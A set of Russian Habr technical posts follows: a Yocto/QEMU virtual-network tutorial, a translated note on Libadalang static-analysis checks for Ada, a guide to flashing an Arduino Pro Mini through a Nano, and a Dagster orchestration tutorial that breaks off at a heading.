Дополнительно надо поправить файл конфигурации sshd «yocto/poky/meta/recipes-connectivity/openssh/openssh/sshd\_config».
`# override default of no subsystems
#Subsystem sftp /usr/libexec/sftp-server
Subsystem sftp internal-sftp`
Эта поправка необходима для того, чтобы не устанавливать дополнительный сервер sftp. Используется он при монтировании файл-системы через ssh.
### в) Запуск сборки
```
$bitbake core-image-minimal
```
Необходимо подождать.
Если сборка закончилась успехом, то на выходе получаем:
`rootfs - /yocto/build/tmp/deploy/images/qemux86/core-image-minimal-qemux86-20170803162854.rootfs.ext4
kernel - /yocto/build/tmp/deploy/images/qemux86/bzImage—4.10.17+git0+e92bd55409_6648a34e00-r0-qemux86-20170801184648.bin`
Системы сборки определяет, что изменялось и дописывает файлы с отпечатком времени в названии файла. На самые последние версии указывают линки.
`«bzImage»
«core-image-minimal-qemux86.ext4»`
### г) Проверяем сборку
Устанавливаем qemu для платформы хоста. В данном случае это x86 64 бита.
```
$sudo apt-get install qemu-system-x86
$qemu-system-x86_64 --version
QEMU emulator version 2.0.0 (Debian 2.0.0+dfsg-2ubuntu1.34), Copyright (c) 2003-2008 Fabrice Bellard
```
Запускаем qemu.
```
$cd ~/yocto/build/tmp/deploy/images/qemux86
$qemu-system-x86_64 -hda ./core-image-minimal-qemux86.ext4 -kernel ./bzImage -append "console=ttyS0 root=/dev/hda initrd=/initrd" -nographic
```
Если видим следующую картинку то виртуальная машина встала.
Конфигурация виртуальной сети
-----------------------------
Скрипты и установки находятся [здесь https://github.com/framer/test-net](https://github.com/framer/test-net).
### а) Создание схемы сети
Для наглядности создадим схему виртуальной сети.
H1,H2,R1,R2 — Виртуальные машины.
BR0,BR1,BR2,BR3 — Виртуальные коммутаторы.
Каждая виртуальная машина имеет интерфейс управления (eth0) подключенный к коммутатору BR0. Также создаём сеть 192.168.40.0/24. Эти интерфейсы и сеть будут использоваться для установок и управления.
### б) Установка виртуальных коммутаторов
Сначала поставим виртуальные коммутаторы к которым будут подключаться интерфейсы TAP виртуальных машин. Установим несколько виртуальных коммутаторов для разных сегментов сетей. Установить можно так:
```
$cd ./src
$sudo ./setup_bridge.sh 4
$ip link
```
Для коммутатора BR0 припишем адрес управления и включаем передачу пакетов между интерфейсами.
```
$ip addr add 192.168.40.1/24 dev br0
$sysctl -w net.ipv4.ip_forward=1
```
### в) Файл установок «conf.json»
Файл установок приготовлен согласно с схемой. Если, что либо надо изменить или дополнить, то необходимо отредактировать этот файл. В этом файле установки интерфейсов и адресов управления. Установка адресов тестируемой сети будет после запуска виртуальных машин.
### г) Создание инстанций виртуальных машин
Сначала копируем созданное предварительно ядро и корневую файл систему, в каталог «src».
Название файлов следующее:
bzImage — ядро
rootfs — корневая файл система.
Если кто-то не имеет своей дистрибуции то готовые сборки можно взять [здесь](https://drive.google.com/file/d/0B5GBijEWWZaxZV91UURXYXVEc3c/view?usp=sharing).
Для создания инстанций используется скрипт «create\_network.py».
```
$./create_network.py
```
Скрипт создаёт инстанции виртуальных машин. Так как ещё нет конфигурации сети управления, то нет доступа к виртуальной машине через сеть. Скрипт запускает виртуальные машины в режиме перехвата потоков ввода/вывода и делает установку сети управления.
После отработки скрипта создаются каталоги для каждой виртуальной машины.
```
$ls .. -Al
```
### д) Запуск среды
Для запуска среды делаем так:
```
$sudo ./run_network.py
```
Запускаем под sudo, так как машины создаю интерфейсы tap. Машины работают в background. Стандартная консоль пишется в файл «output.log».
Доступ к машинам осуществляется через ssh. Существует одна проблема. Если мы будем создавать среду заново, то при запуске машины для ssh будут генерироваться заново ключи. Хост определит, что под теми самыми адресами работает машина с другими ключами и начнёт ругаться. В этом случае необходимо почистить файл «.ssh/known\_hosts».
После того как машины встали можно подмонтировать корневые файл системы.
```
$./mount_fs.py
```
Подмонтированные файл системы находятся в каталогах H1/tmp, H2/tmp, R1/tmp, R2/tmp.
### е) Установка параметров сети
После запуска среды, виртуальные машины имеют установленную только сеть управления. Установить остальные параметры сети согласно со схемой, для всех машин сразу, можно запустив скрипт:
```
$cd ../scripts
$./static.sh
```
static.sh — пример сети со статической маршрутизацией.
Теоретически сеть настроена.
Диагностика сети. Диагностику сети можно производить на каждом виртуальном коммутаторе.
Подключимся к H1 через ssh.
На H1 запустим ping на H2.
```
root@H1:~# ping 192.168.51.10
```
На host запустим диагностику
```
$ sudo tcpdump -i br2
```
### ф) Остановка сети
Для остановки и отмонтирования файл системы запустим.
```
$sudo ./stop_network.py
```
Конфигурация GRE
----------------
### а) Поправим схему сети
### б) Запуск среды и установка среды
```
$sudo run_network.py
```
Подождать и подмонтировать файл системы.
```
$mount_fs.py
```
Установить параметры среды
```
$cd ../scripts
$./gre.sh
```
### в) Диагностика сети
Подключимся к H1 через ssh.
На H1 запустим ping на H2.
```
root@H1:~# ping 192.168.51.10
```
На host запустим
```
$ sudo tcpdump -i br2
```
Заключение
----------
Зачем все это?
Во-первых. Тот кто работает над созданием маршрутизаторов задаётся вопросом. «А как он будет работать в реальных условиях?» И тут даная система приходит на помощь. Имея на хосте дополнительные сетевые карты можно подключить реальную карту к виртуальному коммутатору и заменить виртуальную машину на реальное устройство. Автоматизация создания среды позволяет готовить разные сценарии работы и проверять функциональность реального устройства.
Во-вторых. Наверное, для студентов. | https://habr.com/ru/post/335038/ | null | ru | null |
# Ещё больше простых багов [язык Ада]
Примечание переводчика. На Хабре практически полностью отсутствуют публикации, связанные с языком Ада. А ведь это — живой язык, на котором пишут программы, для которого разрабатываются инструменты статического анализа. Чтобы хоть немного заполнить этот информационный вакуум на Хабре, я решил перевести небольшую заметку, связанную с данным языком. Почему её? В ней упоминается PVS-Studio, и мне это приятно :). Плюс, возможно, российские разработчики на языке Ada узнают о новом для себя инструментарии и увидят, что они совсем не одиноки, и жизнь продолжает кипеть в мире Ада.
В [предыдущей заметке](http://blog.adacore.com/going-after-the-low-hanging-bug) мы рассказывали о наших экспериментах по созданию компактных и легких диагностик для исходного кода на языке Ada на основе новой технологии Libadalang. Две описанные там диагностики нашли 12 ошибок в кодовой базе инструментов, разрабатываемых нашей командой в AdaCore. В этой заметке мы расскажем о еще 6 небольших проверках, с помощью которых были обнаружены 114 дефектов. Из этих 6 диагностик 4 нашли ошибки и некачественные фрагменты кода (check\_deref\_null, check\_test\_not\_null, check\_same\_test, check\_bad\_unequal), остальные 2 – возможности для рефакторинга (check\_same\_then\_else, check\_useless\_assign). Благодаря тому, что прогон каждой диагностики на нашем коде занимает считанные секунды, мы без проблем смогли отладить их до тех пор, пока они не перестали выдавать ложные срабатывания. На данный момент ни одна из этих диагностик не задействует механизм семантического анализа, появившийся недавно в Libadalang, однако, в будущем он позволит улучшить точность анализа. При разработке каждой из проверок мы вдохновлялись похожими компактными диагностиками в других инструментах, в частности, правилами PVS-Studio и [его базой ошибок из реальных приложений](https://www.viva64.com/ru/examples/).
Диагностики разыменований указателей до проверки
------------------------------------------------
[Первая реализованная нами диагностика](https://github.com/AdaCore/libadalang/blob/master/contrib/check_deref_null.py) – одна из самых популярных во многих инструментах. Она ищет указатели, которые разыменовываются, а затем проверяются на ноль. Такая ситуация подозрительна, поскольку логично ожидать обратного порядка действий, и указывает либо на ошибку (указатель не должен разыменовываться без предварительной проверки на ноль), либо на проблему некачественного кода (проверка на ноль является лишней). В кодовой базе наших инструментов нашлись обе проблемы. Вот пример ошибки, найденной в компиляторе GNAT в файле g-spipat.adb, где в процедуре *Dump* разыменовывается указатель *P.P* в строке 2088:
```
procedure Dump (P : Pattern) is
subtype Count is Ada.Text_IO.Count;
Scol : Count;
-- Used to keep track of column in dump output
Refs : Ref_Array (1 .. P.P.Index);
-- We build a reference array whose N'th element points to the
-- pattern element whose Index value is N.
```
а затем, гораздо позже – в строке 2156, проверяется на ноль:
```
-- If uninitialized pattern, dump line and we are done
if P.P = null then
Put_Line ("Uninitialized pattern value");
return;
end if;
```
Решение проблемы состоит в том, что массив *Refs* теперь объявляется после того, как точно установлено неравенство указателя *P.P* нулю. А вот пример некачественного кода, найденный также в компиляторе GNAT в строке 2797 файла g-comlin.adb. Параметр *Line* сначала объявляется, а затем проверяется на ноль:
```
Sections_List : Argument_List_Access :=
new Argument_List'(1 .. 1 => null);
Found : Boolean;
Old_Line : constant Argument_List := Line.all;
Old_Sections : constant Argument_List := Sections.all;
Old_Params : constant Argument_List := Params.all;
Index : Natural;
begin
if Line = null then
return;
end if;
```
Этот код мы исправили, объявив *Line* в качестве параметра ненулевого типа доступа. Иногда разыменовывание и проверка происходят в одном и том же выражении, как, например, в следующем фрагменте кода нашего инструмента GNATstack – строка 97 файла dispatching\_calls.adb:
```
if
Static_Class.Derived.Contains (Explored_Method.Vtable_Entry.Class)
and then
Explored_Method /= null
and then
```
Код был исправлен таким образом, что проверка на ноль указателя *Explored\_Method* выполняется до его разыменовывания. Всего на данную диагностику пришлось 11 ошибок и 9 фрагментов некачественного кода.
[Вторая диагностика](https://github.com/AdaCore/libadalang/blob/master/contrib/check_test_not_null.py) в этой категории находит код, в котором за проверкой указателя на ноль следует его же разыменовывание. Как правило, это признак логической ошибки, особенно в сложных булевых выражениях, что показано в [примерах из базы ошибок, найденных PVS-Studio](https://www.viva64.com/ru/examples/v522/). Ошибок этого типа в нашем коде не обнаружено, что может свидетельствовать о высоком качестве тестирования с нашей стороны. Собственно говоря, выполнение подобного кода в языке Ada сразу привело бы к возникновению исключения.
Диагностика проверяемых выражений
---------------------------------
[Первая диагностика](https://github.com/AdaCore/libadalang/blob/master/contrib/check_same_test.py) из этой серии ищет проверки идентичных подвыражений в цепочке операторов *if-elsif*. Такие проверки указывают либо на ошибки, либо на некачественный код. Ниже показан пример ошибки, найденной в компиляторе GNAT в строке 7380 файла sem\_ch4.adb:
```
if Nkind (Right_Opnd (N)) = N_Integer_Literal then
Remove_Address_Interpretations (Second_Op);
elsif Nkind (Right_Opnd (N)) = N_Integer_Literal then
Remove_Address_Interpretations (First_Op);
end if;
```
Правка заключалась в замене *Right\_Opnd(N)* на *Left\_Opnd(N)* во второй проверке. Всего эта диагностика обнаружила 3 ошибки и 7 фрагментов некачественного кода.
[Вторая диагностика](https://github.com/AdaCore/libadalang/blob/master/contrib/check_bad_unequal.py) ищет выражения вида «A /= B or A /= C», где литералы *B* и *C* разные. Такие условия всегда верны. Как правило, в них вместо оператора «or» должен использоваться «and». С помощью данной диагностики была найдена одна ошибка в нашем генераторе кода QGen в строке 675 файла himoco-blockdiagramcmg.adb:
```
if Code_Gen_Mode /= "Function"
or else Code_Gen_Mode /= "Reusable function"
then
To_Flatten.Append (Obj);
end if;
```
Диагностики дублированного кода
-------------------------------
[Первая диагностика](https://github.com/AdaCore/libadalang/blob/master/contrib/check_same_then_else.py) дублированного кода ищет идентичные блоки кода в разных ветвях операторов *if* и *case*. Ситуации такого рода указывают на опечатки или логические ошибки, но в нашем случае они выявили только фрагменты, подлежащие рефакторингу. Тем не менее, некоторые из них содержат свыше 20 дублированных строк кода, как в следующем примере – строка 1023 файла be-checks.adb в инструменте CodePeer:
```
elsif VN_Kind (VN) = Binexpr_VN
and then Operator (VN) = Logical_And_Op
and then Int_Sets.Is_In (Big_True, To_Int_Set_Part (Expect))
then
-- Recurse to propagate check down to operands of "and"
Do_Check_Sequence
(Check_Kind,
Split_Logical_Node (First_Operand (VN)),
Srcpos,
File_Name,
First_Operand (VN),
Expect,
Check_Level,
Callee,
Callee_VN,
Callee_Expect,
Callee_Precondition_Index);
Do_Check_Sequence
(Check_Kind,
Split_Logical_Node (Second_Operand (VN)),
Srcpos,
File_Name,
Second_Operand (VN),
Expect,
Check_Level,
Callee,
Callee_VN,
Callee_Expect,
Callee_Precondition_Index);
...
elsif VN_Kind (VN) = Binexpr_VN
and then Operator (VN) = Logical_Or_Op
and then Int_Sets.Is_In (Big_False, To_Int_Set_Part (Expect))
then
-- Recurse to propagate check down to operands of "and"
Do_Check_Sequence
(Check_Kind,
Split_Logical_Node (First_Operand (VN)),
Srcpos,
File_Name,
First_Operand (VN),
Expect,
Check_Level,
Callee,
Callee_VN,
Callee_Expect,
Callee_Precondition_Index);
Do_Check_Sequence
(Check_Kind,
Split_Logical_Node (Second_Operand (VN)),
Srcpos,
File_Name,
Second_Operand (VN),
Expect,
Check_Level,
Callee,
Callee_VN,
Callee_Expect,
Callee_Precondition_Index);
```
или в строке 545 файла soap-generator-skel.adb в инструменте GPRbuild:
```
when WSDL.Types.K_Derived =>
if Output.Next = null then
Text_IO.Put
(Skel_Adb,
WSDL.Parameters.To_SOAP
(N.all,
Object => "Result",
Name => To_String (N.Name),
Type_Name => T_Name));
else
Text_IO.Put
(Skel_Adb,
WSDL.Parameters.To_SOAP
(N.all,
Object =>
"Result."
& Format_Name (O, To_String (N.Name)),
Name => To_String (N.Name),
Type_Name => T_Name));
end if;
when WSDL.Types.K_Enumeration =>
if Output.Next = null then
Text_IO.Put
(Skel_Adb,
WSDL.Parameters.To_SOAP
(N.all,
Object => "Result",
Name => To_String (N.Name),
Type_Name => T_Name));
else
Text_IO.Put
(Skel_Adb,
WSDL.Parameters.To_SOAP
(N.all,
Object =>
"Result."
& Format_Name (O, To_String (N.Name)),
Name => To_String (N.Name),
Type_Name => T_Name));
end if;
```
Всего эта диагностика выявила 62 фрагмента некачественного кода в нашей базе.
[Вторая диагностика](https://github.com/AdaCore/libadalang/blob/master/contrib/check_useless_assign.py) этого типа ищет бессмысленные присваивания значений локальным переменным, после которых эти значения ни разу не используются. Такие ошибки могут быть и явными, как, например, здесь (строка 1067 файла be-value\_numbers-factory.adb в инструменте CodePeer):
```
Global_Obj.Obj_Id_Number := Obj_Id_Number (New_Obj_Id);
Global_Obj.Obj_Id_Number := Obj_Id_Number (New_Obj_Id);
```
и скрытыми, как в примере ниже (строка 895 файла bt-xml-reader.adb в том же инструменте CodePeer):
```
if Next_Info.Sloc.Column = Msg_Loc.Column then
Info := Next_Info;
Elem := Next_Cursor;
end if;
Elem := Next_Cursor;
```
Всего эта диагностика обнаружила 9 фрагментов некачественного кода.
Инструкция по установке
-----------------------
Хотите опробовать описанные выше скрипты на своей кодовой базе? Это можно сделать уже сейчас с помощью последней версии GNAT Pro или версии GPL для пользователей сообщества и держателей академической лицензии! Следуя инструкции, размещенной в [репозитории Libadalang](https://github.com/AdaCore/libadalang), вы сможете запустить скрипты внутри вашего интерпретатора для Python2.
Заключение
----------
В общей сложности реализованные на данный момент 8 диагностик (часть из них описана в этой заметке, часть – в [предыдущей](http://blog.adacore.com/going-after-the-low-hanging-bug)) позволили нам обнаружить и исправить 24 ошибки и 102 фрагмента некачественного кода в нашей кодовой базе. Такие результаты однозначно говорят в пользу того, что подобные диагностики следует включать в статические анализаторы, и мы надеемся, что вскоре сможем реализовать все эти и многие другие проверки в нашем статическом анализаторе CodePeer для программ на Ada.
Примечательно также то, что благодаря мощному API для Python, реализованному в Libadalang, на создание каждой из этих диагностик ушло не более пары часов. Хотя нам пришлось написать шаблонный код для обхода AST в различных направлениях, а также многочисленные заплатки для компенсации отсутствия семантического анализа в последней доступной на тот момент версии Libadalang, все это заняло сравнительно немного времени, и эти наработки мы затем сможем применить в остальных подобных диагностиках. Теперь мы с нетерпением ожидаем выпуска версии Libadalang, в которой появится опция семантического анализа и которая позволит нам разрабатывать еще более мощные и полезные проверки.
[автор фото – [Кортни Лемон](http://parallax.sci.cpp.edu/wordpress/?p=163)]
О [Яннике Мое](http://blog.adacore.com/author/moy)
Янник Мой – старший инженер-разработчик компании AdaCore и соуправляющий совместной лабораторией ProofInUse. В AdaCore он разрабатывает статические анализаторы кода CodePeer и SPARK, предназначенные для выявления ошибок и оценки безопасности и защищенности кода. Янник является ведущим разработчиком продукта SPARK 2014, о котором он регулярно рассказывает в своих статьях, на конференциях, на занятиях в вузах и в блогах (в частности, на сайте [www.spark-2014.org](http://www.spark-2014.org)). До этого Янник разрабатывал анализаторы кода в компании PolySpace (ныне The MathWorks) и Университете Париж-юг. | https://habr.com/ru/post/329270/ | null | ru | null |
# Прошивка Arduino Pro Mini через Nano
Не так давно столкнулся с необходимостью использования Arduino Pro Mini в своем проекте и сразу же встал вопрос как заливать в нее скетч. Конечно продаются различные переходники UART при помощи которых этот вопрос снимается быстро, но в тот момент такого переходника не оказалось под рукой.
Почитав на сайте [http://arduino.cc](http://arduino.cc/en/Tutorial/ArduinoISP) и посабирав информацию на разлинчых форумах, узнал о возможности прошивать Pro Mini при помощи других плат Arduino.
Итак, рассмотрим в чем заключается метод Arduino as ISP и что необходимо для этого на примере Arduino Nano.
Для возможности использования платы в родном Arduino IDE имеется пример скетча для перевода платы в программатор, этот пример уже самодостаточен для прошивки Pro Mini, найти его можно выбрав в меню Файл.
Далее в меню «Инструменты» выставляем нашу плату «программатор» и тип ее микроконтроллера.
Затем прошиваем Nano скетчем ArduinoISP, обратив внимание на скорость порта в функции setup, данная скорость будет использоваться непосредственно при прошивке Pro Mini в стандартном скетче ее значение равно **19200**.
После того, как Nano будет подготовленна можем собирать breadboard, для прошивки Pro Mini по схеме указанной здесь <http://arduino.cc/en/Tutorial/ArduinoISP>.
То есть следующим образом:
Nano -> Pro Mini
* +5v -> Vcc
* GND -> GND
* D10 -> RST
* D11 -> D11
* D12 -> D12
* D13 -> D13
У меня получилось примерно так:
После того как все собрано и проверено можно подключить Nano к компьютеру, поморгав 7 раз обе платы готовы к работе.
Далее для прошивки нам необходимо убедиться, что при выставлении прошиваемой платы и программатора у нас используются одинаковые скорости порта, взяв за стандарт скорость из скетча. Для типа платы нужно найти файл **boards.txt** его путь относительно установленной программы IDE такой: **Arduino/hardware/arduino/boards.txt**. В нем нам нужно найти раздел параметров для платы Pro Mini выглядит она примерно так:
`pro5v328.name=Arduino Pro or Pro Mini (5V, 16 MHz) w/ ATmega328`
У меня прошиваемая мини на 5 вольт с микроконтроллером ATmega328, если же у вас иная версия плата то вам нужно найти соответствующий вашей платы раздел.
Здесь необходимо убедиться что скорость выставлена верная:
`pro5v328.upload.speed=19200`
Затем зайдем в файл programmers.txt, его путь **Arduino/hardware/arduino/programmers.txt** и убедимся в верности параметров:
`arduinoisp.name=Arduino as ISP
arduinoisp.communication=serial
arduinoisp.protocol=stk500v1
arduinoisp.speed=19200`
После того как убедились, что все параметры верны можно запускать IDE, если она была запущена то перезапустить. Это необходимо для того чтобы вступили силу новые параметры.
После запуска IDE нам нужно выставить в меню «Инструменты» нашу прошиваемую плату и тип программатора «Arduino as ISP»:
Теперь у нас все готово для прошивки. Выбираем нужный скетч, для пробы можно выбрать любой из примеров. **А теперь особое внимание** уделю как прошивать, обычная кнопка для прошивки нам не подойдет так как она предназначена для прошивки стандартным программатором т.е. в Arduino Nano и при ее нажатии мы просто прошьем Nano, что нам обсолютно не нужно.
Верный путь прошить Pro Mini лежит в меню «Файл» и называется он «Загрузить с помощью программатора», у меня стоит версия IDE 1.5.6-r2 там этот пункт называется «Вгрузить через программатор», по всей видимости трудности перевода в этом релизе, в версии 1.0.5-r2 все в порядке.
С первого раза может не получиться прошить, да и в дальнейшем возможно будет вылетать ошибка такого вида:
Однако не стоит беспокоится, если все собрано верно и спаяно надежно то, достаточно нажать «Reset» на Pro Mini, подождать пару секунд и плата успешно прошъется.
Благодарю за внимание на этом все, пока. | https://habr.com/ru/post/222201/ | null | ru | null |
# Dagster | Туториал
Исходники: <https://github.com/dagster-io/dagster>
Документация: <https://docs.dagster.io>
Лицензия: распространяется под [Apache License 2.0](https://github.com/dagster-io/dagster/blob/master/LICENSE)
Dagster — это оркестратор, предназначенный для организации конвейеров обработки данных: ETL, проведение тестов, формирование отчетов, обучение ML-моделей и т.д. Как и в большинстве других оркестраторов планирование заданий в нем осуществляется посредством направленного ациклического графа (DAG).
Основной и наиболее известный конкурент Dagster’а – Airflow.
Функционал Dagster'а позволяет нам:
* Создавать хорошо структурированные конвейеры на основе кода Python.
* Запускать конвейеры по расписанию и по событию.
* Отслеживать, мониторить и управлять конвейерами.
Основные абстракции Dagster’а:
* Assets (Активы) — это специальная абстракиция Dagster’а, которая состоит из двух элементов – функции, которая генерирует контент и физического объекта, который необходимо где-то сохранить (датасет, файл или модель машинного обучения и т.д.).
* Op (Операции) и Job (Задачи) – Ops являются основной единицей вычислений в Dagster’е. Как правило, они выполняют относительно простые задачи, такие как выполнить запрос к БД, что-то посчитать, отправить сообщение и т.д. А Job это группировка Операций в единый в DAG вычислений.
Для демонстрации работы Dagster’а мы разработаем простой пайплайн обучения ML-модели.
Начнем с установки…
Установка
---------
Выполните в консоли следующую команду:
```
pip install dagster dagit
```
Она установит:
* Dagster – ядро Dagster’а, содержащая все абстракции программные интерфейсы.
* Dagit – пользовательский интерфейс Dagster’а для просмотра и взаимодействовать с объектами Dagster.
Новый проект
------------
Создайте на локальном диске папку под новый проект. Перейдите в нее в консоли и выполните команду (далее все консольные команды выполняются из папки проекта):
```
dagster project scaffold --name my-dagster-project
```
Она создаст новый проект с дефолтной структурой.
Альтернативно вы можете скопировать структуру с одного из типовых примеров:
```
dagster project from-example \
--name my-dagster-project \
--example project_fully_featured
```
С полным списком примеров и их содержанием вы можете ознакомится здесь: <https://github.com/dagster-io/dagster/tree/master/examples>
Сформированная структура представляет собой пакет Python, который может быть установлен с помощью pip. Это необходимо чтобы установить все зависимости, входящие в пакет. Выполните команду:
```
pip install -e ".[dev]"
```
Запустим интерфейс Dagster’а, выполнив консольную команду:
```
dagit
```
Dagit по умолчанию запускается по 3000 порту. Откройте в браузере localhost:3000, чтобы полюбоваться пустым интерфейсом Dagster’а :)
Активы (Asset)
--------------
Начнем исследование возможностей Дагстера с Активов.
1. Создайте в папке *\assets\* файл *phone.py* с таким содержимым:
```
import pandas as pd
from dagster import asset, get_dagster_logger
from sklearn.model_selection import train_test_split
from catboost import Pool, CatBoostRegressor
from sklearn.metrics import r2_score, mean_absolute_error, mean_squared_error
```
Это заготовка, с необходимыми импортами. Далее мы его будем постепенно дополнять…
> *Assets* это дефолтная папка для хранения всех Активов. Хотя вы и можете разместить их в другом месте проекта.
>
>
2. Добавим в наш DAG три Актива. Дополните *phone.py* такими строчками:
```
@asset
def df_android() -> None:
url = 'https://raw.githubusercontent.com/shanealynn/Pandas-Merge-Tutorial/master/android_devices.csv'
df = pd.read_csv(url)
df = df.rename(columns={'Retail Branding':'brand'})
df.to_pickle('df_android.pkl')
@asset
def df_device():
url = 'https://raw.githubusercontent.com/shanealynn/Pandas-Merge-Tutorial/master/user_device.csv'
df = pd.read_csv(url)
return df
@asset
def df_usage():
url = 'https://raw.githubusercontent.com/shanealynn/Pandas-Merge-Tutorial/master/user_usage.csv'
df = pd.read_csv(url)
return df
```
Здесь мы определяем три Актива просто повесив над функцией, которая генерирует контент, декоратор *@asset*. Причем два из них обычные – обрабатывают данные и возвращают результат (это стандартный и рекомендуемый подход). А третий ничего не возвращает – просто сохраняет данные на диск (это сделано специально для демонстрации – дальше объясню почему).
Перейдите в интерфейсе Дагстера в раздел *Assets* и нажмите *Reload Defenitions* – вы увидите три Актива.
Провалитесь в Актив *df\_device* и нажмите *Materialize*.
Материализация Актива означает вычисление его содержимого и последующую запись его в постоянное хранилище. По умолчанию Dagster оборачивает в pickle значение, возвращаемое функцией, и сохраняет его в локальной файловой системе, используя имя Актива в качестве имени файла. После материализации (если Актив возвращает значение) появится ссылка на сохраненный файл.
> Где и как хранится содержимое Актива, полностью настраивается. Вы можете хранить их на локальном диске, в базе данных или в облачном хранилище.
>
>
Кликните в ID Ran’а и вы увидите подробный лог запуска.
3. Добавим еще два Актива в .py файл:
```
@asset(non_argument_deps={"df_android"})
def df_result(df_device, df_usage):
df_android = pd.read_pickle('df_android.pkl')
df = (df_usage
.merge(df_device[['use_id','platform','platform_version','device']], on='use_id')
.merge(df_android[['Model','brand']], left_on='device', right_on='Model'))
df = df.drop(columns=['use_id','device','Model','platform'])
return df
@asset
def train_test(df_result):
train_test = train_test_split(df_result, test_size=0.3, random_state=42)
return train_test
```
Что тут происходит:
* *df\_result* – в нем мы объединяем три загруженных датафрейма в один. Поэтому мы определяем, что на вход ему идут три ранее созданных Актива.
Два из них определены напрямую – названия Активов перечислены как входящие параметры функции. И то, что было определено в них на выходе придет на вход текущему Активу. Так мы типизируем зависимости между Активами. При этом Дагстер в фоне сохранит предыдущий актив в хранилище, и подтянет его в зависимый Актив.
Для *df\_android* мы в параметрах декоратора указали, что от него зависим, но ничего напрямую не передаем. Поэтому нам приходится самостоятельно подгружать ранее сохраненный датасет в теле функции. Это сделано просто для демонстрации, потому что в жизни вы не всегда сможете передавать данные между Активми напрямую. Например, очень большие датасеты или если вы используете функционал, который сам производит сохранение (например, консольная утилита разархивирования).
* *train\_test* – здесь мы просто делим датасет на train/test. По идее можно было поместить этот код в предыдущий Актив, но тут нужно соблюдать определенную атомарность операций. Если по какой-либо причине Вам потребуется перезапустить только Актив *train\_test*, то Дагстер не будет повторно выполнять предыдущие активы, а просто возьмёт ранее сохраненный файл.Добавьте последние два Актива в .py файл
4. Добавьте последние два Актива в .py файл
```
@asset
def model(train_test):
train, _ = train_test
X_train, y_train = train.drop(columns='monthly_mb'), train['monthly_mb']
model = CatBoostRegressor()
model.fit(X_train, y_train, cat_features=['brand'], verbose=False)
return model
@asset
def eval(model, train_test):
_, test = train_test
X_test, y_test = test.drop(columns='monthly_mb'), test['monthly_mb']
y_pred = model.predict(X_test)
scores = {
'r2': r2_score(y_test, y_pred),
'MAE': mean_absolute_error(y_test, y_pred),
'MSE': mean_squared_error(y_test, y_pred)
}
get_dagster_logger().info(scores)
return scores
```
Здесь два Актива – один выполняет обучение модели, второй – оценивает модель на тестовой выборке. Обратите внимание в Активе *eval* мы добавили рассчитанные метрики в лог исполнения.
5. В интерфейсе Дагстера на вкладке *Assets* нажмите *Reload Defenitions* – Дагстер подтянет все созданные Активы (один из них уже материализован).
Кликните *View global asset lineage* – вы увидите DAG взаимосвязей между Актвами. Кликните на *Materialize All* – Дагстер начнет пересчет всех Активов – строго в заданной (зависимостями) последовательности.
Обратите внимание, что у всех Активов один и тот же ID Run - щелкните по нему и вы увидите лог всего процесса целиком. Тут вы можете выполнять различные фильтрации, чтобы увидеть только то что вам нужно.
По итогу: Активы представляют собой очень интересный функционал, автоматизирующий операции ввода/вывода между задачами и оставляя на вас только написание бизнес-логики.
Из интересных возможностей Активов, рассмотрение которых выходит за рамки данного туториала:
* Активы могут рассчитывается автоматически посредством планировщиков и сенсоров.
* Материализацию Актива также можно запустить кодом.
* Можно материализовать Актив одновременно в нескольких средах хранения.
* Если Активы большие, то их можно разделить на партиции и управлять ими по отдельности.
Операции (Op) и Задачи (Job)
----------------------------
Op и Job это еще один уровень абстракции в Дагстере.
Op (Операции) — это минимальные вычислительные единицы в Дагстере, которые объединяются в Задачи (Job). Те же Активы построены поверх Операций, но в отличии от Активов на Операции не возложена функция автоматического хранения и передачи ресурсов между узлами DAG’а.
> Op это наиболее близкое понятие к таскам Airflow, хотя между ними есть серьезные различия.
>
>
Операции предназначены для простых вычислений:
* Выполнение запроса в базе данных.
* Запуск Spark-задач.
* Выполнение запрос к API.
* Отправка электрической почты.
* и т.д.
Для демонстрации напишем совсем игрушечный пример:
1. Создайте в корне проекта файл *test\_op.py* с таким содержимым:
```
from dagster import job, op, get_dagster_logger
import random
@op
def get_random():
return random.randint(0, 10)
@op
def get_multi(rnd):
return rnd*10
@op
def get_plus(rnd):
return rnd+10
@op
def print_result(multi, plus):
get_dagster_logger().info(f'Operation: {multi/plus}')
@job
def serial():
rnd = get_random()
multi = get_multi(rnd)
plus = get_plus(rnd)
print_result(multi, plus)
```
Здесь четыре простых Op и один Job, который объединяет их в один DAG.
2. Выполните в консоли команду (если у вас уже запущен Дагстер, то сначала закройте его):
```
dagit -f test_op.py
```
Откройте интерфейс Дагстера (localhost:3000) – вы увидите построенный DAG. Заметите, что мы всего лишь передели параметры на вход функциям, а Дагстер самостоятельно выстроил все связи.
3. Перейдите на вкладку *Launchpad*. Большая центральная область предназначения для задания/изменения параметров Задачи (если они предусмотрены) непосредственно перед запуском.
А пока просто нажмите *Launch Run* – начнется выполнение Задачи в режиме реального времени (с динамическим выводом логов и отрисовкой диаграммы). Здесь такие же возможности фильтрации лога как и в Активах.
Функционал Операций и Задач гораздо шире, включая возможности ветвления, строгую типизацию, тестирование Операций, вывод дополнительно контекста и т.д. Со всем этим вы сможете ознакомится в документации.
Абстракции
----------
Помимо Активов, Операций и Задач в Дагстере много других абстракций:
* [Schedules](https://docs.dagster.io/concepts/partitions-schedules-sensors/schedules) (Планировщики) – отвечают за автоматическую выполнение задач по расписанию.
* [Sensors](https://docs.dagster.io/concepts/partitions-schedules-sensors/sensors) (Сенсоры) – ждут и реагирую на какое-либо событие, после чего запускают какую-либо задачу.
* [Graphs](https://docs.dagster.io/concepts/ops-jobs-graphs/graphs) (Графы ) – позволяют реализовывать сложные DAG, например, с условным выполнение той или иной ветки DAG’а, с вложенным графми и т.д.
* [Repositories](https://docs.dagster.io/concepts/repositories-workspaces/repositories) (Репоизиторий) – группируют Активы, Задачи, Графы и Сенсоры и загружают все это вместе в интерфейс Дагстера.
* [IO Managers](https://docs.dagster.io/concepts/io-management/io-managers) (Менеджеры ввода/вывода) – управляют сохранением Активов в определенных хранилищах.
* [Run Configuration](https://docs.dagster.io/concepts/configuration/config-schema) (Конфигурации) – позволяют настраивать и передавать в пайплан выполнения необходимые параметры.
Интерфейс
---------
Посмотрим какие основные окна есть в интерфейсе Дагстера:
Runs (Запуски) – содержит информацию о всех запущенных DAG’ах.
Assets (Активы) – мы их уже видели :)
Status (Статус) – показывает выполняемые в текущий момент задачи, содержит информацию о текущих сенсорах и планировщиках.
Workspace (Рабочая область) – выводит информацию о всех подключенных репозиториях и их объектах.
Промышленная эксплуатация
-------------------------
